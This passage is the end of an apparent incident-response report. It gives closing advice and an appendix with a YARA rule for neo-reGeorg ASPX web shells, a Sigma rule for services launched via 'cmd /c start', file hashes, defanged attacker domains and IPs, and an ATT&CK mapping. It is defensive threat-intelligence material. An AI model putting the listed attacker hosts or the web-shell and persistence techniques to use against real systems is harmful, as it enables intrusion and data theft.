While this story ended relatively well – we ultimately managed to evict the attackers from the target organization’s systems – it’s impossible to counter such sophisticated attacks without a comprehensive knowledge base and continuous monitoring of the entire infrastructure. For example, in the incident at hand, some assets weren’t connected to monitoring systems, which prevented us from seeing the full picture immediately. It’s also crucial to maintain maximum coverage of your infrastructure with security tools that can automatically block malicious activity in the initial stages. Finally, we strongly advise against granting excessive privileges to accounts, and especially against using such accounts on all hosts across the infrastructure.

Appendix

Rules

Yara

rule neoregeorg_aspx_web_shell
{
    meta:
        description = "Rule to detect neo-regeorg based ASPX web-shells"
        author = "Kaspersky"
        copyright = "Kaspersky" 
        distribution = "DISTRIBUTION IS FORBIDDEN. DO NOT UPLOAD TO ANY MULTISCANNER OR SHARE ON ANY THREAT INTEL PLATFORM"
 
    strings:
        $func1 = "FrameworkInitialize" fullword
        $func2 = "GetTypeHashCode" fullword
        $func3 = "ProcessRequest" fullword
        $func4 = "__BuildControlTree"
        $func5 = "__Render__control1"

        $str1 = "FAIL" nocase wide
        $str2 = "Port close" nocase wide
        $str3 = "Port filtered" nocase wide
        $str4 = "DISCONNECT" nocase wide
        $str5 = "FORWARD" nocase wide
        
    condition:
        uint16(0) == 0x5A4D and
        filesize < 400000 and
        3 of ($func*) and 
        3 of ($str*)
}

Sigma

title: Service Image Path Start From CMD
id: faf1e809-0067-4c6f-9bef-2471bd6d6278
status: test
description: Detects creation of unusual service executable starting from cmd /c using command line
references:
    - tbd
tags: 
    - attack.persistence
    - attack.T1543.003
author: Kaspersky
date: 2025/05/15  
logsource:                      
    product: windows         
    service: security
detection:
    selection:
        EventID: 4697
        ServiceFileName|contains:
            - '%COMSPEC%'
            - 'cmd'
            - 'cmd.exe' 
        ServiceFileName|contains|all:
            -  '/c'
            - 'start'
    condition: selection
falsepositives:
    - Legitimate
level: medium

IOCs

Files

2F9D2D8C4F2C50CC4D2E156B9985E7CA
9B4F0F94133650B19474AF6B5709E773
A052536E671C513221F788DE2E62316C
91D10C25497CADB7249D47AE8EC94766
C3ED337E2891736DB6334A5F1D37DC0F
9B00B6F93B70F09D8B35FA9A22B3CBA1
15097A32B515D10AD6D793D2D820F2A8
A236DCE873845BA4D3CCD8D5A4E1AEFD
740D6EB97329944D82317849F9BBD633
C7188C39B5C53ECBD3AEC77A856DDF0C
3AF014DB9BE1A04E8B312B55D4479F69
4708A2AE3A5F008C87E68ED04A081F18
125B257520D16D759B112399C3CD1466
C149252A0A3B1F5724FD76F704A1E0AF
3021C9BCA4EF3AA672461ECADC4718E6
F1025FCAD036AAD8BF124DF8C9650BBC
100B463EFF8295BA617D3AD6DF5325C6
2CD15977B72D5D74FADEDFDE2CE8934F
9D53A0336ACFB9E4DF11162CCF7383A0

Domains and IPs

47.238.184[.]9
38.175.195[.]13
hxxp://github[.]githubassets[.]net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta
hxxp://chyedweeyaxkavyccenwjvqrsgvyj0o1y.oast[.]fun/aaa
hxxp://toun[.]callback.red/aaa
hxxp://asd.xkx3[.]callback.[]red
hxxp[:]//ap-northeast-1.s3-azure[.]com
hxxps[:]//www[.]msn-microsoft[.]org:2053
hxxp[:]//www.upload-microsoft[.]com
s3-azure.com
*.ns1.s3-azure.com
*.ns2.s3-azure.com
upload-microsoft[.]com
msn-microsoft[.]org

MITRE ATT&CK

Tactic	Technique	ID
Initial Access	Valid Accounts: Domain Accounts	T1078.002
	Exploit Public-Facing Application	T1190
Execution	Command and Scripting Interpreter: PowerShell	T1059.001
	Command and Scripting Interpreter: Windows Command Shell	T1059.003
	Scheduled Task/Job: Scheduled Task	T1053.005
	Windows Management Instrumentation	T1047
Persistence	Create or Modify System Process: Windows Service	T1543.003
	Hijack Execution Flow: DLL Side-Loading	T1574.002
	Scheduled Task/Job: Scheduled Task	T1053.005
	Valid Accounts: Domain Accounts	T1078.002
	Web Shell	T1505.003
	IIS Components	T1505.004
Privilege Escalation	Create or Modify System Process: Windows Service	T1543.003
	Hijack Execution Flow: DLL Side-Loading	T1574.002
	Process Injection	T1055
	Scheduled Task/Job: Scheduled Task	T1053.005
	Valid Accounts: Domain Accounts	T1078.002
Defense Evasion	Hijack Execution Flow: DLL Side-Loading	T1574.002
	Deobfuscate/Decode Files or Information	T1140
	Indicator Removal: File Deletion	T1070.004
	Masquerading	T1036
	Process Injection	T1055
Credential Access	Credentials from Password Stores: Credentials from Web Browsers	T1555.003
	OS Credential Dumping: Security Account Manager	T1003.002
	Unsecured Credentials	T1552
Discovery	Network Service Discovery	T1046
	Process Discovery	T1057
	System Information Discovery	T1082
	System Network Configuration Discovery	T1016
Lateral movement	Lateral Tool Transfer	T1570
	Remote Services: SMB/Windows Admin Shares	T1021.002
Collection	Archive Collected Data: Archive via Utility	T1560.001
	Automated Collection	T1119
	Data from Local System	T1005
Command and Control	Application Layer Protocol: Web Protocols	T1071.001
	Application Layer Protocol: DNS	T1071.004
	Ingress Tool Transfer	T1105
	Proxy: Internal Proxy	T1090.001
	Protocol Tunneling	T1572
Exfiltration	Exfiltration Over Alternative Protocol	T1048
	Exfiltration Over Web Service	T1567